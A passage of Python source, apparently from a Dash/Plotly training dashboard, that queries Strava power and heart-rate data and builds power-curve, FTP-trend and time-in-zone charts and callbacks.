stravaBestSamples.type.ilike(activity_type)).statement,\n        con=engine, index_col='interval')\n    all_best_interval_df['act_name'] = all_best_interval_df['activity_id'].map(act_dict['act_name'])\n\n    L90D_best_interval_df = pd.read_sql(\n        sql=app.session.query(\n            func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n            stravaBestSamples.interval, stravaBestSamples.time_interval,\n            stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n        ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.interval.in_(interval_lengths),\n                                                      stravaBestSamples.type.ilike(activity_type),\n                                                      stravaBestSamples.timestamp_local >= (\n                                                              datetime.now() - timedelta(days=90))\n                                                      ).statement, con=engine, index_col='interval')\n\n    L90D_best_interval_df['act_name'] = L90D_best_interval_df['activity_id'].map(act_dict['act_name'])\n\n    L6W_best_interval_df = pd.read_sql(\n        sql=app.session.query(\n            func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id,\n            stravaBestSamples.interval, stravaBestSamples.time_interval,\n            stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n        ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.interval.in_(interval_lengths),\n                                                      stravaBestSamples.type.ilike(activity_type),\n                                                      stravaBestSamples.timestamp_local >= (\n                                                              datetime.now() - timedelta(days=42))\n                                                      ).statement, con=engine, index_col='interval')\n    L6W_best_interval_df['act_name'] = L6W_best_interval_df['activity_id'].map(act_dict['act_name'])\n\n    L30D_best_interval_df = pd.read_sql(\n        sql=app.session.query(\n            func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id,\n            stravaBestSamples.interval, stravaBestSamples.time_interval,\n            stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n        ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.interval.in_(interval_lengths),\n                                                      stravaBestSamples.type.ilike(activity_type),\n                                                      stravaBestSamples.timestamp_local >= (\n                                                              datetime.now() - timedelta(days=30))\n                                                      ).statement, con=engine, index_col='interval')\n    L30D_best_interval_df['act_name'] = L30D_best_interval_df['activity_id'].map(act_dict['act_name'])\n\n    if last_id:\n        recent_best_interval_df = pd.read_sql(\n            sql=app.session.query(\n                func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id,\n                stravaBestSamples.interval, stravaBestSamples.time_interval,\n                stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n            ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.activity_id == last_id,\n                                                          stravaBestSamples.interval.in_(interval_lengths),\n                                                          ).statement, con=engine, index_col='interval')\n        recent_best_interval_df['act_name'] = recent_best_interval_df['activity_id'].map(act_dict['act_name'])\n\n    if time_comparison:\n        if intensity == 'all':\n            time_comparison_best_interval_df = pd.read_sql(\n                sql=app.session.query(\n                    func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n                    stravaBestSamples.interval, stravaBestSamples.time_interval,\n                    stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n                ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.interval.in_(interval_lengths),\n                                                              stravaBestSamples.type.ilike(activity_type),\n                                                              stravaBestSamples.timestamp_local >= (\n                                                                      datetime.now() - timedelta(days=time_comparison))\n                                                              ).statement, con=engine, index_col='interval')\n            time_comparison_best_interval_df['act_name'] = time_comparison_best_interval_df['activity_id'].map(\n                act_dict['act_name'])\n        else:\n            # Join in intensity data from strava summary\n\n            pd.read_sql(\n                sql=app.session.query(stravaSummary.activity_id, stravaSummary.workout_intensity).statement,\n                con=engine)\n\n            time_comparison_best_interval_df = pd.read_sql(\n                sql=app.session.query(\n                    func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n                    stravaBestSamples.interval, stravaBestSamples.time_interval,\n                    stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n                ).join(stravaSummary, stravaBestSamples.activity_id == stravaSummary.activity_id,\n                       isouter=True).group_by(stravaBestSamples.interval).filter(\n                    stravaSummary.workout_intensity == intensity,\n                    stravaBestSamples.interval.in_(interval_lengths),\n                    stravaBestSamples.type.ilike(activity_type),\n                    stravaBestSamples.timestamp_local >= (\n                            datetime.now() - timedelta(days=time_comparison))\n                ).statement, con=engine, index_col='interval')\n            time_comparison_best_interval_df['act_name'] = time_comparison_best_interval_df['activity_id'].map(\n                act_dict['act_name'])\n\n            all_best_interval_df = pd.read_sql(\n                sql=app.session.query(\n                    func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n                    stravaBestSamples.interval, stravaBestSamples.time_interval,\n                    stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n                ).join(stravaSummary, stravaBestSamples.activity_id == stravaSummary.activity_id,\n                       isouter=True).group_by(stravaBestSamples.interval).filter(\n                    stravaSummary.workout_intensity == intensity,\n                    stravaBestSamples.interval.in_(interval_lengths),\n                    stravaBestSamples.type.ilike(activity_type)\n                ).statement, con=engine, index_col='interval')\n            all_best_interval_df['act_name'] = all_best_interval_df['activity_id'].map(\n                act_dict['act_name'])\n\n    app.session.remove()\n\n    if len(all_best_interval_df) < 1:\n        return {}\n\n    ## Initial hoverdata if showing KPIs in header\n    # hoverData = {'points': [\n    #     {'x': 60,\n    #      'y': ((all_best_interval_df.loc[60]['watts_per_kg']) if len(all_best_interval_df) > 0 else 0),\n    #      'customdata': 'x_x_at'},\n    #     {'y': ((L90D_best_interval_df.loc[60]['watts_per_kg']) if len(\n    #         L90D_best_interval_df) > 0 else 0), 'customdata': 'x_x_L90D'},\n    #     {'y': ((L6W_best_interval_df.loc[60]['watts_per_kg']) if len(\n    #         L6W_best_interval_df) > 0 else 0), 'customdata': 'x_x_l6w'},\n    #     {'y': ((L30D_best_interval_df.loc[60]['watts_per_kg']) if len(\n    #         L30D_best_interval_df) > 0 else 0), 'customdata': 'x_x_w'}\n    # ]} if power_unit == 'watts_per_kg' else {'points': [\n    #     {'x': 60,\n    #      'y': (round(all_best_interval_df.loc[60]['mmp']) if len(all_best_interval_df) > 0 else 0),\n    #      'customdata': 'x_x_at'},\n    #     {'y': (round(L90D_best_interval_df.loc[60]['mmp']) if len(\n    #         L90D_best_interval_df) > 0 else 0), 'customdata': 'x_x_L90D'},\n    #     {'y': (round(L6W_best_interval_df.loc[60]['mmp']) if len(\n    #         L6W_best_interval_df) > 0 else 0), 'customdata': 'x_x_l6w'},\n    #     {'y': (round(L30D_best_interval_df.loc[60]['mmp']) if len(\n    #         L30D_best_interval_df) > 0 else 0), 'customdata': 'x_x_w'}\n    # ]}\n\n    # On Main chart, we only want to show 1 line with all different colors, so loop through each df and remove points where not max\n    # Replace all_time with l90D\n    if not time_comparison:\n        for i in all_best_interval_df.index:\n            if i in L90D_best_interval_df.index:\n                if L90D_best_interval_df.at[i, power_unit] >= all_best_interval_df.at[i, power_unit]:\n                    all_best_interval_df.at[i, power_unit] = None\n                else:\n                    L90D_best_interval_df.at[i, power_unit] = None\n        # Replace L90D with L6W\n        for i in L90D_best_interval_df.index:\n            if i in L6W_best_interval_df.index:\n                if L6W_best_interval_df.at[i, power_unit] >= L90D_best_interval_df.at[i, power_unit]:\n                    L90D_best_interval_df.at[i, power_unit] = None\n                else:\n                    L6W_best_interval_df.at[i, power_unit] = None\n        # Replace L6W with L30D\n        for i in L6W_best_interval_df.index:\n            if i in L30D_best_interval_df.index:\n                if L30D_best_interval_df.at[i, power_unit] >= L6W_best_interval_df.at[i, power_unit]:\n                    L6W_best_interval_df.at[i, power_unit] = None\n                else:\n                    L30D_best_interval_df.at[i, power_unit] = None\n\n    tooltip = '''<b>{}</b><br>{}<br>{}<br>{:.2f} W/kg''' if power_unit == 'watts_per_kg' else '''<b>{}</b><br>{}<br>{}<br>{:.0f} W'''\n    data = [\n        go.Scatter(\n            name='All',\n            x=all_best_interval_df.index,\n            y=all_best_interval_df[power_unit],\n            mode='lines',\n            text=[\n                tooltip.format(\n                    timedelta(seconds=i),\n                    all_best_interval_df.loc[i]['act_name'],\n                    all_best_interval_df.loc[i].date,\n                    all_best_interval_df.loc[i][power_unit])\n                for i in all_best_interval_df.index],\n\n            customdata=[\n                '{}_{}_at'.format(all_best_interval_df.loc[x]['activity_id'], int(x))\n                for x in all_best_interval_df.index],  # add fields to text so data can go through clickData\n            hoverinfo='text',\n            line={'shape': 'spline', 'color': 'rgba(220,220,220,.5)'}\n        )\n    ]\n    if not time_comparison:\n        data.extend([\n            go.Scatter(\n                name='L90D',\n                x=L90D_best_interval_df.index,\n                y=L90D_best_interval_df[power_unit],\n                mode='lines',\n                # text=['{:.0f}'.format(L90D_best_interval_df.loc[i]['mmp']) for i in\n                #       L90D_best_interval_df.index],\n                text=[\n                    tooltip.format(\n                        timedelta(seconds=i),\n                        L90D_best_interval_df.loc[i]['act_name'],\n                        L90D_best_interval_df.loc[i].date,\n                        L90D_best_interval_df.loc[i][power_unit])\n                    for i in L90D_best_interval_df.index],\n                customdata=[\n                    '{}_{}_L90D'.format(L90D_best_interval_df.loc[x]['activity_id'], int(x))\n                    for x in L90D_best_interval_df.index],\n                hoverinfo='text',\n                line={'shape': 'spline', 'color': white},\n            ),\n            go.Scatter(\n                name='L6W',\n                x=L6W_best_interval_df.index,\n                y=L6W_best_interval_df[power_unit],\n                mode='lines',\n                # text=['{:.0f}'.format(L90D_best_interval_df.loc[i]['mmp']) for i in\n                #       L90D_best_interval_df.index],\n                text=[\n                    tooltip.format(\n                        timedelta(seconds=i),\n                        L6W_best_interval_df.loc[i]['act_name'],\n                        L6W_best_interval_df.loc[i].date,\n                        L6W_best_interval_df.loc[i][power_unit])\n                    for i in L6W_best_interval_df.index],\n                customdata=[\n                    '{}_{}_l6w'.format(L6W_best_interval_df.loc[x]['activity_id'], int(x))\n                    for x in L6W_best_interval_df.index],\n                hoverinfo='text',\n                line={'shape': 'spline', 'color': light_blue},\n            ),\n            go.Scatter(\n                name='L30D',\n                x=L30D_best_interval_df.index,\n                y=L30D_best_interval_df[power_unit],\n                mode='lines',\n                # text=['{:.0f}'.format(L90D_best_interval_df.loc[i]['mmp']) for i in\n                #       L90D_best_interval_df.index],\n                text=[\n                    tooltip.format(\n                        timedelta(seconds=i),\n                        L30D_best_interval_df.loc[i]['act_name'],\n                        L30D_best_interval_df.loc[i].date,\n                        L30D_best_interval_df.loc[i][power_unit])\n                    for i in L30D_best_interval_df.index],\n                customdata=[\n                    '{}_{}_w'.format(L30D_best_interval_df.loc[x]['activity_id'], int(x))\n                    for x in L30D_best_interval_df.index],\n                hoverinfo='text',\n                line={'shape': 'spline', 'color': teal},\n            )\n        ])\n    else:\n        data.append(\n            go.Scatter(\n                name={99999: 'All', int(datetime.now().strftime('%j')): 'YTD', 90: 'L90D', 42: 'L6W', 30: 'L30D'}[\n                    time_comparison],\n                x=time_comparison_best_interval_df.index,\n                y=time_comparison_best_interval_df[power_unit],\n                mode='lines',\n                # text=['{:.0f}'.format(L90D_best_interval_df.loc[i]['mmp']) for i in\n                #       L90D_best_interval_df.index],\n                text=[\n                    tooltip.format(\n                        timedelta(seconds=i),\n                        time_comparison_best_interval_df.loc[i]['act_name'],\n                        time_comparison_best_interval_df.loc[i].date,\n                        time_comparison_best_interval_df.loc[i][power_unit])\n                    for i in time_comparison_best_interval_df.index],\n                customdata=[\n                    '{}_{}_w'.format(time_comparison_best_interval_df.loc[x]['activity_id'], int(x))\n                    for x in time_comparison_best_interval_df.index],\n                hoverinfo='text',\n                line={'shape': 'spline', 'color': teal},\n            )\n        )\n    if last_id:\n        data.append(\n            go.Scatter(\n                name='Workout',\n                x=recent_best_interval_df.index,\n                y=recent_best_interval_df[power_unit],\n                mode='lines',\n                text=[\n                    tooltip.format(\n                        timedelta(seconds=i),\n                        recent_best_interval_df.loc[i]['act_name'],\n                        recent_best_interval_df.loc[i].date,\n                        recent_best_interval_df.loc[i][power_unit])\n                    for i in recent_best_interval_df.index],\n                customdata=[\n                    '{}_{}_w'.format(recent_best_interval_df.loc[x]['activity_id'], int(x))\n                    for x in recent_best_interval_df.index],\n                hoverinfo='text',\n                line={'shape': 'spline', 'color': orange},\n            )\n        )\n    annotations = [\n        # Muscle Power\n        go.layout.Annotation(\n            font={'size': 10, 'color': orange if muscle_power_best else white},\n            x=1,\n            y=muscle_power,\n            xref=\"x\",\n            yref=\"y\",\n            text='''Max 10 Sec Power (L90D): <b>{:.2f}</b> W/kg'''.format(\n                muscle_power) if power_unit == 'watts_per_kg' else '''Max 10 Sec Power (L90D): <b>{:.0f}</b> W'''.format(\n                muscle_power),\n            showarrow=False,\n            arrowhead=1,\n            arrowcolor='Grey',\n            bgcolor='rgba(81,89,95,.5)',\n            ay=-10,\n        ),\n        # Fatigue Resistance\n        go.layout.Annotation(\n            font={'size': 10, 'color': orange if fatigue_best else white},\n            x=.1,\n            y=fatigue_ftp,\n            xref=\"x\",\n            yref=\"y\",\n            text='''100% CP (L90D): <b>{:.2f}</b> W/kg'''.format(\n                fatigue_ftp) if power_unit == 'watts_per_kg' else '''100% CP (L90D): <b>{:.0f}</b> W'''.format(\n                fatigue_ftp),\n            showarrow=True,\n            arrowhead=1,\n            arrowcolor='rgba(0,0,0,0)',\n            bgcolor='rgba(81,89,95,.5)',\n            ax=75,\n            ay=-10,\n        ),\n\n        go.layout.Annotation(\n            font={'size': 10, 'color': orange if endurance_best else white},\n            x=.1,\n            y=endurance_ftp,\n            xref=\"x\",\n            yref=\"y\",\n            text='''50% CP (L90D): <b>{:.2f}</b> W/kg'''.format(\n                endurance_ftp) if power_unit == 'watts_per_kg' else '''50% CP (L90D): <b>{:.0f}</b> W'''.format(\n                endurance_ftp),\n            showarrow=True,\n            arrowhead=1,\n            arrowcolor='rgba(0,0,0,0)',\n            bgcolor='rgba(81,89,95,.5)',\n            ax=75,\n            ay=-10,\n        ),\n    ] if td_data_exists else []\n\n    shapes = [\n        # Power Curve Lines\n        # Muscle Power\n        dict(\n            type='line', y0=0, y1=muscle_power, xref='x', yref='y', x0=10, x1=10,\n            line=dict(\n                color=\"Grey\",\n                width=1,\n                dash=\"dot\",\n            ),\n        ),\n        # Fatigue Resistance\n        dict(\n            type='line', y0=fatigue_ftp, y1=fatigue_ftp, xref='x', yref='y', x0=.9,\n            line=dict(\n                color=\"Grey\",\n                width=1,\n                dash=\"dot\",\n            ),\n        ),\n        # Endurance\n        dict(\n            type='line', y0=endurance_ftp, y1=endurance_ftp, xref='x', yref='y', x0=.9,\n            line=dict(\n                color=\"Grey\",\n                width=1,\n                dash=\"dot\",\n            ),\n        )\n    ] if td_data_exists else []\n\n    layout = go.Layout(\n        # transition=dict(duration=transition),\n        title='Power Curve' if height < 400 else '',\n        font=dict(\n            size=10,\n            color=white\n        ),\n        height=height,\n        shapes=shapes,\n        annotations=annotations,\n        xaxis=dict(\n            showgrid=False,\n            # tickformat=\"%H:%M:%S\",\n            # range=[best_interval_df.index.min(),best_interval_df.index.max()],\n            # range=[np.log10(best_interval_df.index.min()), np.log10(best_interval_df.index.max())],\n            type='log',\n            tickangle=45 if height < 400 else 0,\n            tickvals=[1, 2, 5, 10, 30, 60, 120, 5 * 60, 10 * 60, 20 * 60, 60 * 60, 60 * 120],\n            ticktext=['1s', '2s', '5s', '10s', '30s', '1m', '2m', '5m', '10m', '20m', '1h', '2h'],\n        ),\n\n        yaxis=dict(\n            showgrid=True,\n            zeroline=False,\n            # range=[best_interval_df['mmp'].min(), best_interval_df['mmp'].max()],\n            gridcolor='rgb(73, 73, 73)'\n        ),\n        margin={'l': 40, 'b': 25, 't': 20 if height < 400 else 5, 'r': 0},\n        legend=dict(x=.5, y=1, bgcolor='rgba(127, 127, 127, 0)', xanchor='center',\n                    orientation='h', ) if height >= 400 else\n        dict(x=.85, bgcolor='rgba(127, 127, 127, 0)', xanchor='center'),\n        autosize=True,\n        hovermode='x',\n        # paper_bgcolor='rgb(66,66,66)',\n        # plot_bgcolor='rgba(0,0,0,0)',\n\n    )\n\n    figure = {\n        'data': data,\n        'layout': layout\n    }\n\n    # if not last_id:\n    #     # Pull CY for scatter bubbles\n    #     cy_best_df_bubbles = df_best_samples[\n    #         df_best_samples['timestamp_local'] >= datetime.strptime(str(datetime.now().year) + '-01-01', \"%Y-%m-%d\")]\n    #     data.append(go.Scatter(\n    #         name='CY bubbles',\n    #         x=cy_best_df_bubbles.index,\n    #         y=cy_best_df_bubbles[power_unit],\n    #         mode='markers',\n    #         customdata=['____' for x in cy_best_df_bubbles.index],\n    #         hoverinfo='none',\n    #         line={'color': 'rgba(56, 128, 139,.05)'},\n    #         showlegend=False\n    #     ))\n\n    return figure  # , hoverData\n\n\ndef create_ftp_chart(activity_type='ride', power_unit='watts'):\n    activity_type = '%' + activity_type + '%'\n\n    df_ftp = pd.read_sql(\n        sql=app.session.query(stravaSummary).filter(stravaSummary.type.ilike(activity_type),\n                                                    stravaSummary.start_date_utc >= (\n                                                            datetime.utcnow() - relativedelta(months=12))\n                                                    ).statement, con=engine,\n        index_col='start_day_local')[['activity_id', 'ftp', 'weight']]\n\n    app.session.remove()\n\n    if len(df_ftp) < 1:\n        return None, {}\n\n    df_ftp.set_index(pd.DatetimeIndex(df_ftp.index), inplace=True)\n\n    # Get latest FTP of each month (instead of max in case ftp decreases)\n    df_ftp = df_ftp.groupby(df_ftp.index.month).apply(pd.Series.tail, 1).reset_index(level=0,\n                                                                                     drop=True).sort_index().resample(\n        'M').max().ffill().interpolate()\n\n    # Filter summary table on activities that have a different FTP from the previous activity\n    # df_ftp['previous_ftp'] = df_ftp['ftp'].shift(1)\n    # df_ftp = df_ftp[df_ftp['previous_ftp'] != df_ftp['ftp']]\n\n    df_ftp['watts_per_kg'] = df_ftp['ftp'] / (df_ftp['weight'] / 2.20462)\n    metric = 'ftp' if power_unit == 'ftp' else 'watts_per_kg'\n    tooltip = '<b>{:.0f} W {}' if metric == 'ftp' else '<b>{:.2f} W/kg {}'\n    title = 'Current FTP {:.0f} W (L12M)' if metric == 'ftp' else 'Current FTP {:.2f} W/kg (L12M)'\n\n    df_ftp['ftp_%'] = ['{}{:.0f}%'.format('+' if x > 0 else '', x) if x != 0 else '' for x in\n                       (((df_ftp[metric] - df_ftp[metric].shift(1)) / df_ftp[metric].shift(1)) * 100).fillna(0)]\n\n    df_ftp_tooltip = [tooltip.format(x, y) for x, y in\n                      zip(df_ftp[metric], df_ftp['ftp_%'])]\n\n    df_ftp = df_ftp.reset_index()\n\n    ftp_current = title.format(df_ftp.loc[df_ftp.index.max()][metric])\n\n    figure = {\n        'data': [\n            go.Bar(\n                name='FTP',\n                x=df_ftp.index,\n                y=df_ftp[metric],\n                text=df_ftp['ftp_%'],\n                textfont=dict(\n                    size=10,\n                ),\n                textposition='none',\n                marker=dict(\n                    color=[orange if x == df_ftp[metric].max() else light_blue for x in\n                           df_ftp[metric]],\n                ),\n                hovertext=df_ftp_tooltip,\n                hoverinfo='text+x',\n                opacity=0.7,\n            ),\n\n        ],\n        'layout': go.Layout(\n            font=dict(\n                size=10,\n                color=white\n            ),\n            height=400,\n            transition=dict(duration=transition),\n            xaxis=dict(\n                showticklabels=True,\n                tickvals=df_ftp.index,\n                ticktext=df_ftp['start_day_local'].apply(lambda x: datetime.strftime(x, \"%b\")),\n                showgrid=False\n            ),\n            yaxis=dict(\n                showticklabels=True,\n                showgrid=True,\n                gridcolor='rgb(73, 73, 73)',\n                # range=[df_ftp['ftp'].min() * .90, df_ftp['ftp'].max() * 1.25],\n            ),\n            showlegend=False,\n            margin={'l': 25, 'b': 25, 't': 5, 'r': 20},\n        )\n    }\n\n    return ftp_current, figure\n\n\ndef zone_chart(activity_id=None, sport='run', metrics=['power_zone', 'hr_zone'], chart_id='zone-chart', days=90,\n               height=400, intensity='all'):\n    # If activity_id passed, filter only that workout, otherwise show distribution across last 6 weeks\n\n    if activity_id:\n        df_samples = pd.read_sql(\n            sql=app.session.query(stravaSamples).filter(stravaSamples.activity_id == activity_id).statement,\n            con=engine,\n            index_col=['timestamp_local'])\n\n    else:\n        if intensity == 'all':\n            df_samples = pd.read_sql(\n                sql=app.session.query(stravaSamples).filter(stravaSamples.type.like(sport),\n                                                            stravaSamples.timestamp_local >= (\n                                                                    datetime.now() - timedelta(\n                                                                days=days))).statement,\n                con=engine,\n                index_col=['timestamp_local'])\n        else:\n            # Join intensity from strava summary to samples and filter on intensity if passed as an argument\n            df_samples = pd.read_sql(\n                sql=app.session.query(stravaSamples).filter(stravaSamples.type.like(sport),\n                                                            stravaSamples.timestamp_local >= (\n                                                                    datetime.now() - timedelta(\n                                                                days=days))).statement,\n                con=engine,\n                index_col=['timestamp_local'])\n            df_samples = df_samples.merge(pd.read_sql(\n                sql=app.session.query(stravaSummary.activity_id, stravaSummary.workout_intensity).statement,\n                con=engine), how='left', left_on='activity_id', right_on='activity_id')\n\n            df_samples = df_samples[df_samples['workout_intensity'] == intensity]\n\n    app.session.remove()\n    data = []\n    for metric in metrics:\n        zone_df = df_samples.groupby(metric).size().reset_index(name='counts')\n        zone_df['seconds'] = zone_df['counts']\n        zone_df['Percent of Total'] = (zone_df['seconds'] / zone_df['seconds'].sum())\n\n        # zone_map = {1: 'Active Recovery', 2: 'Endurance', 3: 'Tempo', 4: 'Threshold', 5: 'VO2 Max',\n        #             6: 'Anaerobic', 7: 'Neuromuscular'}\n\n        zone_map = {1: 'Zone 1', 2: 'Zone 2', 3: 'Zone 3', 4: 'Zone 4', 5: 'Zone 5',\n                    6: 'Zone 6', 7: 'Zone 7'}\n\n        zone_df[metric] = zone_df[metric].map(zone_map)\n        zone_df = zone_df.sort_values(by=metric, ascending=False)\n\n        label = [\n            'Time: ' + '<b>{}</b>'.format(timedelta(seconds=seconds)) + '<br>' + '% of Total: ' + '<b>{0:.0f}'.format(\n                percentage * 100) + '%'\n            for seconds, percentage in zip(list(zone_df['seconds']), list(zone_df['Percent of Total']))]\n\n        per_low = zone_df[zone_df[metric].isin(\n            ['Zone 1', 'Zone 2', 'Zone 3'] if sport == 'Ride' and metric == 'power_zone' else ['Zone 1', 'Zone 2'])][\n            'Percent of Total'].sum()\n\n        if metric == 'hr_zone':\n            colors = [\n                'rgb(174, 18, 58)',\n                'rgb(204, 35, 60)',\n                'rgb(227, 62, 67)',\n                'rgb(242, 98, 80)',\n                'rgb(248, 130, 107)',\n                'rgb(252, 160, 142)',\n                'rgb(255, 190, 178)'\n            ]\n        elif metric == 'power_zone':\n            colors = [\n                'rgb(44, 89, 113)',\n                'rgb(49, 112, 151)',\n                'rgb(53, 137, 169)',\n                'rgb(69, 162, 185)',\n                'rgb(110, 184, 197)',\n                'rgb(147, 205, 207)',\n                'rgb(188, 228, 216)'\n            ]\n\n        data.append(\n            go.Bar(\n                name='HR ({:.0f}% Low)'.format(per_low * 100) if metric == 'hr_zone' else 'Power ({:.0f}% Low)'.format(\n                    per_low * 100),\n                y=zone_df[metric],\n                x=zone_df['Percent of Total'],\n                orientation='h',\n                text=['{0:.0f}'.format(percentage * 100) + '%' for percentage in list(zone_df['Percent of Total'])],\n                hovertext=label,\n                hoverinfo='text',\n                textposition='auto',\n                width=.4,\n                marker={'color': colors},\n            )\n        )\n\n    return dcc.Graph(\n        id=chart_id, style={'height': '100%'},\n        config={\n            'displayModeBar': False\n        },\n        figure={\n            'data': data,\n            'layout': go.Layout(\n                title='Time in Zones' if height < 400 else '',\n                font=dict(\n                    size=10,\n                    color=white\n                ),\n                height=height,\n                # annotations=[\n                #     dict(\n                #         text=\"Power Zones\",\n                #         font=dict(size=16),\n                #         xref=\"paper\",\n                #         yref=\"paper\",\n                #         yanchor=\"bottom\",\n                #         xanchor=\"center\",\n                #         align=\"center\",\n                #         x=0.5,\n                #         y=1,\n                #         showarrow=False\n                #     )],\n                autosize=True,\n                xaxis=dict(\n                    hoverformat=\".1%\",\n                    tickformat=\"%\",\n                    showgrid=False,\n                    # zerolinecolor='rgb(238, 238, 238)',\n                ),\n                yaxis=dict(\n                    autorange='reversed',\n                    showgrid=False,\n                    categoryarray=['Zone 5', 'Zone 4', 'Zone 3', 'Zone 2', 'Zone 1'] if sport == 'run' else [\n                        'Zone 7', 'Zone 6', 'Zone 5', 'Zone 4', 'Zone 3', 'Zone 2', 'Zone 1'],\n                ),\n                showlegend=True,\n                hovermode='closest',\n                legend=dict(x=.5, y=1.1, bgcolor='rgba(127, 127, 127, 0)', xanchor='center',\n                            orientation='h', ) if height >= 400 else\n                dict(x=.85, bgcolor='rgba(127, 127, 127, 0)', xanchor='center'),\n                margin={'l': 45, 'b': 0, 't': 20, 'r': 0},\n                # margin={'l': 40, 'b': 0, 't': 20 if height < 400 else 5, 'r': 0},\n\n            )\n        }\n    )\n\n\n@app.callback(\n    [Output('power-curve-container', 'className'),\n     Output('power-curve-chart', 'figure'),\n     Output('stryd-distributions', 'children')],\n    [Input('activity-type-toggle', 'value'),\n     Input('power-unit-toggle', 'value')]\n)\ndef update_power_curve(activity_type, power_unit):\n    power_unit = 'watts_per_kg' if power_unit else 'mmp'\n    activity_type = 'ride' if activity_type else 'run'\n\n    if stryd_credentials_supplied and activity_type == 'run':\n        classname = 'col-lg-9'\n        stryd = stryd_training_distributions()\n    else:\n        classname = 'col-lg-12'\n        stryd = []\n\n    figure = power_curve(activity_type, power_unit)\n    return classname, figure, stryd\n\n\n# # Callbacks to figure out which is the latest chart that was clicked\n# @app.callback(\n#     Output('power-curve-chart-timestamp', 'children'),\n#     [Input('power-curve-chart', 'clickData')])\n# def power_curve_chart_timestamp(dummy):\n#     return datetime.utcnow()\n#\n#\n# @app.callback(\n#     Output('power-profile-5-chart-timestamp', 'children'),\n#     [Input('power-profile-5-chart', 'clickData')])\n# def power_profile_5_chart_timestamp(dummy):\n#     return datetime.utcnow()\n#\n#\n# @app.callback(\n#     Output('power-profile-60-chart-timestamp', 'children'),\n#     [Input('power-profile-60-chart', 'clickData')])\n# def power_profile_60_chart_timestamp(dummy):\n#     return datetime.utcnow()\n#\n#\n# @app.callback(\n#     Output('power-profile-300-chart-timestamp', 'children'),\n#     [Input('power-profile-300-chart', 'clickData')])\n# def power_profile_300_chart_timestamp(dummy):\n#     return datetime.utcnow()\n#\n#\n# @app.callback(\n#     Output('power-profile-1200-chart-timestamp', 'children'),\n#     [Input('power-profile-1200-chart', 'clickData')])\n# def power_profile_1200_chart_timestamp(dummy):\n#     return datetime.utcnow()\n\n\n# # Store last clicked data into div for consumption by action callbacks\n# @app.callback(\n#     Output('last-clicked', 'children'),\n#     [Input('power-curve-chart-timestamp', 'children'),\n#      Input('power-profile-5-chart-timestamp', 'children'),\n#      Input('power-profile-60-chart-timestamp', 'children'),\n#      Input('power-profile-300-chart-timestamp', 'children'),\n#      Input('power-profile-1200-chart-timestamp', 'children')],\n#     [State('power-curve-chart', 'clickData'),\n#      State('power-profile-5-chart', 'clickData'),\n#      State('power-profile-60-chart', 'clickData'),\n#      State('power-profile-300-chart', 'clickData'),\n#      State('power-profile-1200-chart', 'clickData')]\n#\n# )\n# def update_last_clicked(power_curve_chart_timestamp, power_profile_5_chart_timestamp, power_profile_60_chart_timestamp,\n#                         power_profile_300_chart_timestamp, power_profile_1200_chart_timestamp,\n#                         power_curve_chart_clickData, power_profile_5_chart_clickData, power_profile_60_chart_clickData,\n#                         power_profile_300_chart_clickData, power_profile_1200_chart_clickData):\n#     timestamps = {'power': power_curve_chart_timestamp,\n#                   '5': power_profile_5_chart_timestamp,\n#                   '60': power_profile_60_chart_timestamp,\n#                   '300': power_profile_300_chart_timestamp,\n#                   '1200': power_profile_1200_chart_timestamp,\n#                   }\n#\n#     if power_curve_chart_timestamp or power_profile_5_chart_timestamp or power_profile_60_chart_timestamp or power_profile_300_chart_timestamp or power_profile_1200_chart_timestamp:\n#\n#         latest = max(timestamps.items(), key=operator.itemgetter(1))[0]\n#\n#         if latest == 'power':\n#             clickData = power_curve_chart_clickData\n#         elif latest == '5':\n#             clickData = power_profile_5_chart_clickData\n#         elif latest == '60':\n#             clickData = power_profile_60_chart_clickData\n#         elif latest == '300':\n#             clickData = power_profile_300_chart_clickData\n#         elif latest == '1200':\n#             clickData = power_profile_1200_chart_clickData\n#\n#         return json.dumps(clickData)\n\n\n# ## Action for workout title ##\n# @app.callback(\n#     Output('workout-title', 'children'),\n#     [Input('last-clicked', 'children')],\n# )\n# def update_workout_title(clickdata):\n#     last_clickdata = json.loads(clickdata)\n#     try:\n#         activity_id, end_seconds, interval = last_clickdata['points'][0]['customdata'].split('_')\n#         return get_workout_title(activity_id=activity_id)\n#     except:\n#         return get_workout_title()\n\n\n# ## Action for workout Trends ##\n# @app.callback(\n#     Output('workout-trends', 'children'),\n#     [Input('last-clicked', 'children')],\n# )\n# def update_workout_trends(last_clickdata):\n#     last_clickdata = json.loads(last_clickdata)\n#     try:\n#         activity_id, end_seconds, interval = last_clickdata['points'][0]['customdata'].split('_')\n#         return workout_details(activity_id=activity_id, start_seconds=(int(end_seconds) - int(interval)),\n#                                end_seconds=int(end_seconds))\n#     except:\n#         return workout_details()\n\n\n# ## Action for workout Trends ##\n# @app.callback(\n#     Output('power-zone', 'children'),\n#     [Input('last-clicked', 'children')],\n# )\n# def update_power_zones(last_clickdata):\n#     last_clickdata = json.loads(last_clickdata)\n#     try:\n#         activity_id, end_seconds, interval = last_clickdata['points'][0]['customdata'].split('_')\n#         return zone_chart(activity_id=activity_id)\n#     except:\n#         return zone_chart()\n\n\n# Color icons\n@app.callback(\n    